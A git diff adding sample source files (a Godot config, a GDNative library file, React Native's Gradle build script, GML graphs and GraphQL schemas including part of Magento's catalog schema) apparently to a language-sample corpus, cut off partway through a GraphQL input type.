+boot_splash/bg_color=Color( 0.101961, 0.101961, 0.12549, 1 )
+config/icon="res://Icons/1024Icon.png"
+
+[autoload]
+
+Client="*res://Client/Client.gd"
+UdpBroadcast="*res://UDP_Broadcast.gd"
+
+[debug]
+
+gdscript/completion/autocomplete_setters_and_getters=true
+
+[display]
+
+window/size/width=1920
+window/size/height=1080
+window/size/test_width=960
+window/size/test_height=540
+window/stretch/mode="2d"
+window/stretch/aspect="expand"
+
+[global]
+
+delay=false
+simulate=false
+
+[input_devices]
+
+pointing/ios/touch_delay=0.0
+pointing/emulate_touch_from_mouse=true
+
+[rendering]
+
+environment/default_clear_color=Color( 0.101961, 0.101961, 0.12549, 1 )
+environment/default_environment="res://default_env.tres"
diff --git a/samples/Godot Resource/signals_library.gdnlib b/samples/Godot Resource/signals_library.gdnlib
new file mode 100644
index 0000000000..6e684fd851
--- /dev/null
+++ b/samples/Godot Resource/signals_library.gdnlib	
@@ -0,0 +1,18 @@
+[entry]
+
+X11.64="../../target/debug/libsignals.so"
+OSX.64="../../target/debug/libsignals.dylib"
+Windows.64="res://../../target/debug/signals.dll"
+
+[dependencies]
+
+Windows.64=[  ]
+X11.64=[  ]
+OSX.64=[  ]
+
+[general]
+
+singleton=false
+load_once=true
+symbol_prefix="godot_"
+reloadable=true
\ No newline at end of file
diff --git a/samples/Gradle Kotlin DSL/build.gradle.kts b/samples/Gradle Kotlin DSL/build.gradle.kts
new file mode 100644
index 0000000000..82242563ac
--- /dev/null
+++ b/samples/Gradle Kotlin DSL/build.gradle.kts	
@@ -0,0 +1,139 @@
+/*
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+plugins {
+  alias(libs.plugins.nexus.publish)
+  alias(libs.plugins.android.library) apply false
+  alias(libs.plugins.android.application) apply false
+  alias(libs.plugins.download) apply false
+  alias(libs.plugins.kotlin.android) apply false
+}
+
+val reactAndroidProperties = java.util.Properties()
+
+File("$rootDir/packages/react-native/ReactAndroid/gradle.properties").inputStream().use {
+  reactAndroidProperties.load(it)
+}
+
+version =
+    if (project.hasProperty("isNightly") &&
+        (project.property("isNightly") as? String).toBoolean()) {
+      "${reactAndroidProperties.getProperty("VERSION_NAME")}-SNAPSHOT"
+    } else {
+      reactAndroidProperties.getProperty("VERSION_NAME")
+    }
+
+group = "com.facebook.react"
+
+val ndkPath by extra(System.getenv("ANDROID_NDK"))
+val ndkVersion by extra(System.getenv("ANDROID_NDK_VERSION") ?: "25.1.8937393")
+val sonatypeUsername = findProperty("SONATYPE_USERNAME")?.toString()
+val sonatypePassword = findProperty("SONATYPE_PASSWORD")?.toString()
+
+nexusPublishing {
+  repositories {
+    sonatype {
+      username.set(sonatypeUsername)
+      password.set(sonatypePassword)
+    }
+  }
+}
+
+tasks.register("clean", Delete::class.java) {
+  description = "Remove all the build files and intermediate build outputs"
+  dependsOn(gradle.includedBuild("react-native-gradle-plugin").task(":clean"))
+  subprojects.forEach {
+    if (it.project.plugins.hasPlugin("com.android.library") ||
+        it.project.plugins.hasPlugin("com.android.application")) {
+      dependsOn(it.tasks.named("clean"))
+    }
+  }
+  delete(allprojects.map { it.layout.buildDirectory.asFile })
+  delete(rootProject.file("./packages/react-native/ReactAndroid/.cxx"))
+  delete(rootProject.file("./packages/react-native/ReactAndroid/hermes-engine/.cxx"))
+  delete(rootProject.file("./packages/react-native/sdks/download/"))
+  delete(rootProject.file("./packages/react-native/sdks/hermes/"))
+  delete(
+      rootProject.file("./packages/react-native/ReactAndroid/src/main/jni/prebuilt/lib/arm64-v8a/"))
+  delete(
+      rootProject.file(
+          "./packages/react-native/ReactAndroid/src/main/jni/prebuilt/lib/armeabi-v7a/"))
+  delete(rootProject.file("./packages/react-native/ReactAndroid/src/main/jni/prebuilt/lib/x86/"))
+  delete(rootProject.file("./packages/react-native/ReactAndroid/src/main/jni/prebuilt/lib/x86_64/"))
+  delete(rootProject.file("./packages/react-native-codegen/lib"))
+  delete(rootProject.file("./node_modules/@react-native/codegen/lib"))
+  delete(rootProject.file("./packages/rn-tester/android/app/.cxx"))
+}
+
+tasks.register("build") {
+  description = "Build and test all the React Native relevant projects."
+  dependsOn(gradle.includedBuild("react-native-gradle-plugin").task(":build"))
+}
+
+tasks.register("downloadAll") {
+  description = "Download all the depedencies needed locally so they can be cached on CI."
+  dependsOn(gradle.includedBuild("react-native-gradle-plugin").task(":dependencies"))
+  dependsOn(":packages:react-native:ReactAndroid:downloadNdkBuildDependencies")
+  dependsOn(":packages:react-native:ReactAndroid:dependencies")
+  dependsOn(":packages:react-native:ReactAndroid:androidDependencies")
+  dependsOn(":packages:react-native:ReactAndroid:hermes-engine:dependencies")
+  dependsOn(":packages:react-native:ReactAndroid:hermes-engine:androidDependencies")
+  dependsOn(":packages:rn-tester:android:app:dependencies")
+  dependsOn(":packages:rn-tester:android:app:androidDependencies")
+}
+
+tasks.register("publishAllInsideNpmPackage") {
+  description =
+      "Publish all the artifacts to be available inside the NPM package in the `android` folder."
+  // Due to size constraints of NPM, we publish only react-native and hermes-engine inside
+  // the NPM package.
+  dependsOn(":packages:react-native:ReactAndroid:installArchives")
+  dependsOn(":packages:react-native:ReactAndroid:hermes-engine:installArchives")
+}
+
+tasks.register("publishAllToMavenTempLocal") {
+  description = "Publish all the artifacts to be available inside a Maven Local repository on /tmp."
+  dependsOn(":packages:react-native:ReactAndroid:publishAllPublicationsToMavenTempLocalRepository")
+  // We don't publish the external-artifacts to Maven Local as CircleCI is using it via workspace.
+  dependsOn(
+      ":packages:react-native:ReactAndroid:flipper-integration:publishAllPublicationsToMavenTempLocalRepository")
+  dependsOn(
+      ":packages:react-native:ReactAndroid:hermes-engine:publishAllPublicationsToMavenTempLocalRepository")
+}
+
+tasks.register("publishAllToSonatype") {
+  description = "Publish all the artifacts to Sonatype (Maven Central or Snapshot repository)"
+  dependsOn(":packages:react-native:ReactAndroid:publishToSonatype")
+  dependsOn(":packages:react-native:ReactAndroid:external-artifacts:publishToSonatype")
+  dependsOn(":packages:react-native:ReactAndroid:flipper-integration:publishToSonatype")
+  dependsOn(":packages:react-native:ReactAndroid:hermes-engine:publishToSonatype")
+}
+
+if (project.findProperty("react.internal.useHermesNightly")?.toString()?.toBoolean() == true) {
+  logger.warn(
+      """
+      ********************************************************************************
+      INFO: You're using Hermes from nightly as you set
+
+      react.internal.useHermesNightly=true
+
+      in the ./gradle.properties file.
+
+      That's fine for local development, but you should not commit this change.
+      ********************************************************************************
+  """
+          .trimIndent())
+  allprojects {
+    configurations.all {
+      resolutionStrategy.dependencySubstitution {
+        substitute(project(":packages:react-native:ReactAndroid:hermes-engine"))
+            .using(module("com.facebook.react:hermes-android:0.0.0-+"))
+            .because("Users opted to use hermes from nightly")
+      }
+    }
+  }
+}
\ No newline at end of file
diff --git a/samples/Graph Modeling Language/sample2.gml b/samples/Graph Modeling Language/sample2.gml
new file mode 100644
index 0000000000..f0d6f25aa3
--- /dev/null
+++ b/samples/Graph Modeling Language/sample2.gml	
@@ -0,0 +1,36 @@
+graph [
+    comment "Example graph with other formatting"
+    directed 1
+    id 42
+    label "Graph label"
+    node [
+        id 1
+        label "Node 1"
+        extraAttribute 42
+    ]
+    node [
+        id 2
+        label "node 2"
+        extraAttribute 43
+    ]
+    node [
+        id 3
+        label "node 3"
+        extraAttribute 44
+    ]
+    edge [
+        source 1
+        target 2
+        label "Edge from 1 to 2"
+    ]
+    edge [
+        source 2
+        target 3
+        label "Edge from 2 to 3"
+    ]
+    edge [
+        source 3
+        target 1
+        label "Edge from 3 to 1"
+    ]
+]
diff --git a/samples/Graph Modeling Language/sample3.gml b/samples/Graph Modeling Language/sample3.gml
new file mode 100644
index 0000000000..0b6490a12d
--- /dev/null
+++ b/samples/Graph Modeling Language/sample3.gml	
@@ -0,0 +1,43 @@
+graph 
+[
+    comment "Example graph with more newline formatting"
+    directed 1
+    id 42
+    label "Graph label"
+    node 
+    [
+        id 1
+        label "Node 1"
+        extraAttribute 42
+    ]
+    node 
+    [
+        id 2
+        label "node 2"
+        extraAttribute 43
+    ]
+    node 
+    [
+        id 3
+        label "node 3"
+        extraAttribute 44
+    ]
+    edge 
+    [
+        source 1
+        target 2
+        label "Edge from 1 to 2"
+    ]
+    edge 
+    [
+        source 2
+        target 3
+        label "Edge from 2 to 3"
+    ]
+    edge 
+    [
+        source 3
+        target 1
+        label "Edge from 3 to 1"
+    ]
+]
diff --git a/samples/GraphQL/schema-kitchen-sink.graphqls b/samples/GraphQL/schema-kitchen-sink.graphqls
new file mode 100644
index 0000000000..de061712f4
--- /dev/null
+++ b/samples/GraphQL/schema-kitchen-sink.graphqls
@@ -0,0 +1,112 @@
+schema {
+  query: QueryType
+  mutation: MutationType
+}
+
+"""
+This is a description
+of the `Foo` type.
+"""
+type Foo implements Bar & Baz {
+  one: Type
+  two(argument: InputType!): Type
+  three(argument: InputType, other: String): Int
+  four(argument: String = "string"): String
+  five(argument: [String] = ["string", "string"]): String
+  six(argument: InputType = {key: "value"}): Type
+  seven(argument: Int = null): Type
+}
+
+type AnnotatedObject @onObject(arg: "value") {
+  annotatedField(arg: Type = "default" @onArg): Type @onField
+}
+
+type UndefinedType
+
+extend type Foo {
+  seven(argument: [String]): Type
+}
+
+extend type Foo @onType
+
+interface Bar {
+  one: Type
+  four(argument: String = "string"): String
+}
+
+interface AnnotatedInterface @onInterface {
+  annotatedField(arg: Type @onArg): Type @onField
+}
+
+interface UndefinedInterface
+
+extend interface Bar {
+  two(argument: InputType!): Type
+}
+
+extend interface Bar @onInterface
+
+union Feed = Story | Article | Advert
+
+union AnnotatedUnion @onUnion = A | B
+
+union AnnotatedUnionTwo @onUnion = | A | B
+
+union UndefinedUnion
+
+extend union Feed = Photo | Video
+
+extend union Feed @onUnion
+
+scalar CustomScalar
+
+scalar AnnotatedScalar @onScalar
+
+extend scalar CustomScalar @onScalar
+
+enum Site {
+  DESKTOP
+  MOBILE
+}
+
+enum AnnotatedEnum @onEnum {
+  ANNOTATED_VALUE @onEnumValue
+  OTHER_VALUE
+}
+
+enum UndefinedEnum
+
+extend enum Site {
+  VR
+}
+
+extend enum Site @onEnum
+
+input InputType {
+  key: String!
+  answer: Int = 42
+}
+
+input AnnotatedInput @onInputObject {
+  annotatedField: Type @onField
+}
+
+input UndefinedInput
+
+extend input InputType {
+  other: Float = 1.23e4
+}
+
+extend input InputType @onInputObject
+
+directive @skip(if: Boolean!) on FIELD | FRAGMENT_SPREAD | INLINE_FRAGMENT
+
+directive @include(if: Boolean!)
+  on FIELD
+    | FRAGMENT_SPREAD
+    | INLINE_FRAGMENT
+
+directive @include2(if: Boolean!) on
+  | FIELD
+  | FRAGMENT_SPREAD
+  | INLINE_FRAGMENT
diff --git a/samples/GraphQL/schema.graphqls b/samples/GraphQL/schema.graphqls
new file mode 100644
index 0000000000..9f102a1c6a
--- /dev/null
+++ b/samples/GraphQL/schema.graphqls
@@ -0,0 +1,403 @@
+# Copyright © Magento, Inc. All rights reserved.
+# See COPYING.txt for license details.
+
+type Query {
+    products (
+        search: String @doc(description: "Performs a full-text search using the specified key words."),
+        filter: ProductFilterInput @doc(description: "Identifies which product attributes to search for and return."),
+        pageSize: Int = 20 @doc(description: "Specifies the maximum number of results to return at once. This attribute is optional."),
+        currentPage: Int = 1 @doc(description: "Specifies which page of results to return. The default value is 1."),
+        sort: ProductSortInput @doc(description: "Specifies which attribute to sort on, and whether to return the results in ascending or descending order.")
+     ): Products
+     @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Products") @doc(description: "The products query searches for products that match the criteria specified in the search and filter attributes") @cache(cacheTag: "cat_p", cacheIdentity: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\Identity")
+    category (
+        id: Int @doc(description: "Id of the category")
+    ): CategoryTree
+    @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\CategoryTree") @doc(description: "The category query searches for categories that match the criteria specified in the search and filter attributes") @cache(cacheTag: "cat_c", cacheIdentity: "Magento\\CatalogGraphQl\\Model\\Resolver\\Category\\CategoryTreeIdentity")
+}
+
+type Price @doc(description: "The Price object defines the price of a product as well as any tax-related adjustments.") {
+    amount: Money @doc(description: "The price of a product plus a three-letter currency code")
+    adjustments: [PriceAdjustment] @doc(description: "An array that provides information about tax, weee, or weee_tax adjustments")
+}
+
+type PriceAdjustment @doc(description: "The PricedAdjustment object defines the amount of money to apply as an adjustment, the type of adjustment to apply, and whether the item is included or excluded from the adjustment.") {
+    amount: Money @doc(description: "The amount of the price adjustment and its currency code")
+    code: PriceAdjustmentCodesEnum @doc(description: "Indicates whether the adjustment involves tax, weee, or weee_tax")
+    description: PriceAdjustmentDescriptionEnum @doc(description: "Indicates whether the entity described by the code attribute is included or excluded from the adjustment")
+}
+
+enum PriceAdjustmentCodesEnum @doc(description: "Note: This enumeration contains values defined in modules other than the Catalog module.") {
+}
+
+enum PriceAdjustmentDescriptionEnum @doc(description: "This enumeration states whether a price adjustment is included or excluded.") {
+    INCLUDED
+    EXCLUDED
+}
+
+enum PriceTypeEnum @doc(description: "This enumeration the price type.") {
+    FIXED
+    PERCENT
+    DYNAMIC
+}
+
+type ProductPrices @doc(description: "The ProductPrices object contains the regular price of an item, as well as its minimum and maximum prices. Only composite products, which include bundle, configurable, and grouped products, can contain a minimum and maximum price.") {
+    minimalPrice: Price @doc(description: "The lowest possible final price for all the options defined within a composite product. If you are specifying a price range, this would be the from value.")
+    maximalPrice: Price @doc(description: "The highest possible final price for all the options defined within a composite product. If you are specifying a price range, this would be the to value.")
+    regularPrice: Price @doc(description: "The base price of a product.")
+}
+
+type ProductLinks implements ProductLinksInterface @doc(description: "ProductLinks is an implementation of ProductLinksInterface.") {
+}
+
+interface ProductLinksInterface @typeResolver(class: "Magento\\CatalogGraphQl\\Model\\ProductLinkTypeResolverComposite") @doc(description:"ProductLinks contains information about linked products, including the link type and product type of each item.") {
+    sku: String @doc(description: "The identifier of the linked product")
+    link_type: String @doc(description: "One of related, associated, upsell, or crosssell")
+    linked_product_sku: String @doc(description: "The SKU of the linked product")
+    linked_product_type: String @doc(description: "The type of linked product (simple, virtual, bundle, downloadable, grouped, configurable)")
+    position: Int @doc(description: "The position within the list of product links")
+}
+
+type ProductTierPrices @doc(description: "The ProductTierPrices object defines a tier price, which is a quantity discount offered to a specific customer group.") {
+    customer_group_id: String @doc(description: "The ID of the customer group")
+    qty: Float @doc(description: "The number of items that must be purchased to qualify for tier pricing")
+    value: Float @doc(description: "The price of the fixed price item")
+    percentage_value: Float @doc(description: "The percentage discount of the item")
+    website_id: Float @doc(description: "The ID assigned to the website")
+}
+
+interface ProductInterface @typeResolver(class: "Magento\\CatalogGraphQl\\Model\\ProductInterfaceTypeResolverComposite") @doc(description: "The ProductInterface contains attributes that are common to all types of products. Note that descriptions may not be available for custom and EAV attributes.") {
+    id: Int @doc(description: "The ID number assigned to the product") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\EntityIdToId")
+    name: String @doc(description: "The product name. Customers use this name to identify the product.")
+    sku: String @doc(description: "A number or code assigned to a product to identify the product, options, price, and manufacturer")
+    description: ComplexTextValue @doc(description: "Detailed information about the product. The value can include simple HTML tags.") @resolver(class: "\\Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\ProductComplexTextAttribute")
+    short_description: ComplexTextValue @doc(description: "A short description of the product. Its use depends on the theme.") @resolver(class: "\\Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\ProductComplexTextAttribute")
+    special_price: Float @doc(description: "The discounted price of the product")
+    special_from_date: String @doc(description: "The beginning date that a product has a special price")
+    special_to_date: String @doc(description: "The end date that a product has a special price")
+    attribute_set_id: Int @doc(description: "The attribute set assigned to the product")
+    meta_title: String @doc(description: "A string that is displayed in the title bar and tab of the browser and in search results lists")
+    meta_keyword: String @doc(description: "A comma-separated list of keywords that are visible only to search engines")
+    meta_description: String @doc(description: "A brief overview of the product for search results listings, maximum 255 characters")
+    image: ProductImage @doc(description: "The relative path to the main image on the product page") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\ProductImage")
+    small_image: ProductImage @doc(description: "The relative path to the small image, which is used on catalog pages") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\ProductImage")
+    thumbnail: ProductImage @doc(description: "The relative path to the product's thumbnail image") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\ProductImage")
+    new_from_date: String @doc(description: "The beginning date for new product listings, and determines if the product is featured as a new product") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\NewFromTo")
+    new_to_date: String @doc(description: "The end date for new product listings") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\NewFromTo")
+    tier_price: Float @doc(description: "The price when tier pricing is in effect and the items purchased threshold has been reached")
+    options_container: String @doc(description: "If the product has multiple options, determines where they appear on the product page")
+    created_at: String @doc(description: "Timestamp indicating when the product was created")
+    updated_at: String @doc(description: "Timestamp indicating when the product was updated")
+    country_of_manufacture: String @doc(description: "The product's country of origin")
+    type_id: String @doc(description: "One of simple, virtual, bundle, downloadable, grouped, or configurable")
+    websites: [Website] @doc(description: "An array of websites in which the product is available") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\Websites")
+    product_links: [ProductLinksInterface] @doc(description: "An array of ProductLinks objects") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\ProductLinks")
+    media_gallery_entries: [MediaGalleryEntry] @doc(description: "An array of MediaGalleryEntry objects") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\MediaGalleryEntries")
+    tier_prices: [ProductTierPrices] @doc(description: "An array of ProductTierPrices objects") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\TierPrices")
+    price: ProductPrices @doc(description: "A ProductPrices object, indicating the price of an item") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\Price")
+    gift_message_available: String @doc(description: "Indicates whether a gift message is available")
+    manufacturer: Int @doc(description: "A number representing the product's manufacturer")
+    categories: [CategoryInterface] @doc(description: "The categories assigned to a product") @cache(cacheTag: "cat_c", cacheIdentity: "Magento\\CatalogGraphQl\\Model\\Resolver\\Category\\CategoriesIdentity") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Categories")
+    canonical_url: String @doc(description: "Canonical URL") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\CanonicalUrl")
+}
+
+interface PhysicalProductInterface @typeResolver(class: "Magento\\CatalogGraphQl\\Model\\ProductInterfaceTypeResolverComposite") @doc(description: "PhysicalProductInterface contains attributes specific to tangible products") {
+    weight: Float @doc(description: "The weight of the item, in units defined by the store")
+}
+
+type CustomizableAreaOption implements CustomizableOptionInterface @doc(description: "CustomizableAreaOption contains information about a text area that is defined as part of a customizable option") {
+    value: CustomizableAreaValue @doc(description: "An object that defines a text area")
+    product_sku: String @doc(description: "The Stock Keeping Unit of the base product")
+}
+
+type CustomizableAreaValue @doc(description: "CustomizableAreaValue defines the price and sku of a product whose page contains a customized text area") {
+    price: Float @doc(description: "The price assigned to this option")
+    price_type: PriceTypeEnum @doc(description: "FIXED, PERCENT, or DYNAMIC")
+    sku: String @doc(description: "The Stock Keeping Unit for this option")
+    max_characters: Int @doc(description: "The maximum number of characters that can be entered for this customizable option")
+}
+
+type CategoryTree implements CategoryInterface @doc(description: "Category Tree implementation") {
+    children: [CategoryTree] @doc(description: "Child categories tree") @resolve(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\CategoryTree")
+}
+
+type CustomizableDateOption implements CustomizableOptionInterface @doc(description: "CustomizableDateOption contains information about a date picker that is defined as part of a customizable option") {
+    value: CustomizableDateValue @doc(description: "An object that defines a date field in a customizable option.")
+    product_sku: String @doc(description: "The Stock Keeping Unit of the base product")
+}
+
+type CustomizableDateValue @doc(description: "CustomizableDateValue defines the price and sku of a product whose page contains a customized date picker") {
+    price: Float @doc(description: "The price assigned to this option")
+    price_type: PriceTypeEnum @doc(description: "FIXED, PERCENT, or DYNAMIC")
+    sku: String @doc(description: "The Stock Keeping Unit for this option")
+}
+
+type CustomizableDropDownOption implements CustomizableOptionInterface @doc(description: "CustomizableDropDownOption contains information about a drop down menu that is defined as part of a customizable option") {
+    value: [CustomizableDropDownValue] @doc(description: "An array that defines the set of options for a drop down menu")
+}
+
+type CustomizableDropDownValue @doc(description: "CustomizableDropDownValue defines the price and sku of a product whose page contains a customized drop down menu") {
+    option_type_id: Int @doc(description: "The ID assigned to the value")
+    price: Float @doc(description: "The price assigned to this option")
+    price_type: PriceTypeEnum @doc(description: "FIXED, PERCENT, or DYNAMIC")
+    sku: String @doc(description: "The Stock Keeping Unit for this option")
+    title: String @doc(description: "The display name for this option")
+    sort_order: Int @doc(description: "The order in which the option is displayed")
+}
+
+type CustomizableMultipleOption implements CustomizableOptionInterface @doc(description: "CustomizableMultipleOption contains information about a multiselect that is defined as part of a customizable option") {
+    value: [CustomizableMultipleValue] @doc(description: "An array that defines the set of options for a multiselect")
+}
+
+type CustomizableMultipleValue @doc(description: "CustomizableMultipleValue defines the price and sku of a product whose page contains a customized multiselect") {
+    option_type_id: Int @doc(description: "The ID assigned to the value")
+    price: Float @doc(description: "The price assigned to this option")
+    price_type: PriceTypeEnum @doc(description: "FIXED, PERCENT, or DYNAMIC")
+    sku: String @doc(description: "The Stock Keeping Unit for this option")
+    title: String @doc(description: "The display name for this option")
+    sort_order: Int @doc(description: "The order in which the option is displayed")
+}
+
+type CustomizableFieldOption implements CustomizableOptionInterface @doc(description: "CustomizableFieldOption contains information about a text field that is defined as part of a customizable option") {
+    value: CustomizableFieldValue @doc(description: "An object that defines a text field")
+    product_sku: String @doc(description: "The Stock Keeping Unit of the base product")
+}
+
+type CustomizableFieldValue @doc(description: "CustomizableFieldValue defines the price and sku of a product whose page contains a customized text field") {
+    price: Float @doc(description: "The price of the custom value")
+    price_type: PriceTypeEnum @doc(description: "FIXED, PERCENT, or DYNAMIC")
+    sku: String @doc(description: "The Stock Keeping Unit for this option")
+    max_characters: Int @doc(description: "The maximum number of characters that can be entered for this customizable option")
+}
+
+type CustomizableFileOption implements CustomizableOptionInterface @doc(description: "CustomizableFileOption contains information about a file picker that is defined as part of a customizable option") {
+    value: CustomizableFileValue @doc(description: "An object that defines a file value")
+    product_sku: String @doc(description: "The Stock Keeping Unit of the base product")
+}
+
+type CustomizableFileValue @doc(description: "CustomizableFileValue defines the price and sku of a product whose page contains a customized file picker") {
+    price: Float @doc(description: "The price assigned to this option")
+    price_type: PriceTypeEnum @doc(description: "FIXED, PERCENT, or DYNAMIC")
+    sku: String @doc(description: "The Stock Keeping Unit for this option")
+    file_extension: String @doc(description: "The file extension to accept")
+    image_size_x: Int @doc(description: "The maximum width of an image")
+    image_size_y: Int @doc(description: "The maximum height of an image")
+}
+
+type ProductImage @doc(description: "Product image information. Contains image relative path, URL and label") {
+    url: String @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\ProductImage\\Url")
+    label: String @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\ProductImage\\Label")
+}
+
+interface CustomizableOptionInterface @typeResolver(class: "Magento\\CatalogGraphQl\\Model\\CustomizableOptionTypeResolver") @doc(description: "The CustomizableOptionInterface contains basic information about a customizable option. It can be implemented by several types of configurable options.") {
+    title: String @doc(description: "The display name for this option")
+    required: Boolean @doc(description: "Indicates whether the option is required")
+    sort_order: Int @doc(description: "The order in which the option is displayed")
+    option_id: Int @doc(description: "Option ID")
+}
+
+interface CustomizableProductInterface @typeResolver(class: "Magento\\CatalogGraphQl\\Model\\ProductInterfaceTypeResolverComposite") @doc(description: "CustomizableProductInterface contains information about customizable product options.") {
+    options: [CustomizableOptionInterface] @doc(description: "An array of options for a customizable product") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\Options")
+}
+
+interface CategoryInterface @typeResolver(class: "Magento\\CatalogGraphQl\\Model\\CategoryInterfaceTypeResolver") @doc(description: "CategoryInterface contains the full set of attributes that can be returned in a category search") {
+    id: Int @doc(description: "An ID that uniquely identifies the category")
+    description: String @doc(description: "An optional description of the category") @resolver(class: "\\Magento\\CatalogGraphQl\\Model\\Resolver\\Category\\CategoryHtmlAttribute")
+    name: String @doc(description: "The display name of the category")
+    path: String @doc(description: "Category Path")
+    path_in_store: String @doc(description: "Category path in store")
+    url_key: String @doc(description: "The url key assigned to the category")
+    url_path: String @doc(description: "The url path assigned to the category")
+    position: Int @doc(description: "The position of the category relative to other categories at the same level in tree")
+    level: Int @doc(description: "Indicates the depth of the category within the tree")
+    created_at: String @doc(description: "Timestamp indicating when the category was created")
+    updated_at: String @doc(description: "Timestamp indicating when the category was updated")
+    product_count: Int @doc(description: "The number of products in the category") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Category\\ProductsCount")
+    default_sort_by: String @doc(description: "The attribute to use for sorting")
+    products(
+        pageSize: Int = 20 @doc(description: "Specifies the maximum number of results to return at once. This attribute is optional."),
+        currentPage: Int = 1 @doc(description: "Specifies which page of results to return. The default value is 1."),
+        sort: ProductSortInput @doc(description: "Specifies which attribute to sort on, and whether to return the results in ascending or descending order.")
+    ): CategoryProducts @doc(description: "The list of products assigned to the category") @cache(cacheTag: "cat_p", cacheIdentity: "Magento\\CatalogGraphQl\\Model\\Resolver\\Product\\Identity") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Category\\Products")
+    breadcrumbs: [Breadcrumb] @doc(description: "Breadcrumbs, parent categories info") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Category\\Breadcrumbs")
+}
+
+type Breadcrumb @doc(description: "Breadcrumb item"){
+    category_id: Int @doc(description: "Category ID")
+    category_name: String @doc(description: "Category name")
+    category_level: Int @doc(description: "Category level")
+    category_url_key: String @doc(description: "Category URL key")
+}
+
+type CustomizableRadioOption implements CustomizableOptionInterface @doc(description: "CustomizableRadioOption contains information about a set of radio buttons that are defined as part of a customizable option") {
+    value: [CustomizableRadioValue] @doc(description: "An array that defines a set of radio buttons")
+}
+
+type CustomizableRadioValue  @doc(description: "CustomizableRadioValue defines the price and sku of a product whose page contains a customized set of radio buttons") {
+    option_type_id: Int @doc(description: "The ID assigned to the value")
+    price: Float @doc(description: "The price assigned to this option")
+    price_type: PriceTypeEnum @doc(description: "FIXED, PERCENT, or DYNAMIC")
+    sku: String @doc(description: "The Stock Keeping Unit for this option")
+    title: String @doc(description: "The display name for this option")
+    sort_order: Int @doc(description: "The order in which the radio button is displayed")
+}
+
+type CustomizableCheckboxOption implements CustomizableOptionInterface @doc(description: "CustomizableCheckbbixOption contains information about a set of checkbox values that are defined as part of a customizable option") {
+    value: [CustomizableCheckboxValue] @doc(description: "An array that defines a set of checkbox values")
+}
+
+type CustomizableCheckboxValue  @doc(description: "CustomizableCheckboxValue defines the price and sku of a product whose page contains a customized set of checkbox values") {
+    option_type_id: Int @doc(description: "The ID assigned to the value")
+    price: Float @doc(description: "The price assigned to this option")
+    price_type: PriceTypeEnum @doc(description: "FIXED, PERCENT, or DYNAMIC")
+    sku: String @doc(description: "The Stock Keeping Unit for this option")
+    title: String @doc(description: "The display name for this option")
+    sort_order: Int @doc(description: "The order in which the checkbox value is displayed")
+}
+
+type VirtualProduct implements ProductInterface, CustomizableProductInterface @doc(description: "A virtual product is non-tangible product that does not require shipping and is not kept in inventory") {
+}
+
+type SimpleProduct implements ProductInterface, PhysicalProductInterface, CustomizableProductInterface @doc(description: "A simple product is tangible and are usually sold as single units or in fixed quantities")
+{
+}
+
+type Products @doc(description: "The Products object is the top-level object returned in a product search") {
+    items: [ProductInterface] @doc(description: "An array of products that match the specified search criteria")
+    page_info: SearchResultPageInfo @doc(description: "An object that includes the page_info and currentPage values specified in the query")
+    total_count: Int @doc(description: "The number of products returned")
+    filters: [LayerFilter] @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\LayerFilters") @doc(description: "Layered navigation filters array")
+    sort_fields: SortFields @doc(description: "An object that includes the default sort field and all available sort fields") @resolver(class: "Magento\\CatalogGraphQl\\Model\\Resolver\\Category\\SortFields")
+}
+
+type CategoryProducts @doc(description: "The category products object returned in the Category query") {
+    items: [ProductInterface] @doc(description: "An array of products that are assigned to the category")
+    page_info: SearchResultPageInfo @doc(description: "An object that includes the page_info and currentPage values specified in the query")
+    total_count: Int @doc(description: "The number of products returned")
+}
+
+input ProductFilterInput @doc(description: "ProductFilterInput defines the filters to be used in the search. A filter contains at least one attribute, a comparison operator, and the value that is being searched for.") {
+    name: FilterTypeInput @doc(description: "The product name. Customers use this name to identify the product.")
+    sku: FilterTypeInput @doc(description: "A number or code assigned to a product to identify the product, options, price, and manufacturer")
+    description: FilterTypeInput @doc(description: "Detailed information about the product. The value can include simple HTML tags.")
+    short_description: FilterTypeInput @doc(description: "A short description of the product. Its use depends on the theme.")
+    price: FilterTypeInput @doc(description: "The price of an item")
+    special_price: FilterTypeInput @doc(description: "The discounted price of the product. Do not include the currency code.")
+    special_from_date: FilterTypeInput @doc(description: "The beginning date that a product has a special price")
+    special_to_date: FilterTypeInput @doc(description: "The end date that a product has a special price")
+    weight: FilterTypeInput @doc(description: "The weight of the item, in units defined by the store")
+    manufacturer: FilterTypeInput @doc(description: "A number representing the product's manufacturer")
+    meta_title: FilterTypeInput @doc(description: "A string that is displayed in the title bar and tab of the browser and in search results lists")
+    meta_keyword: FilterTypeInput @doc(description: "A comma-separated list of keywords that are visible only to search engines")
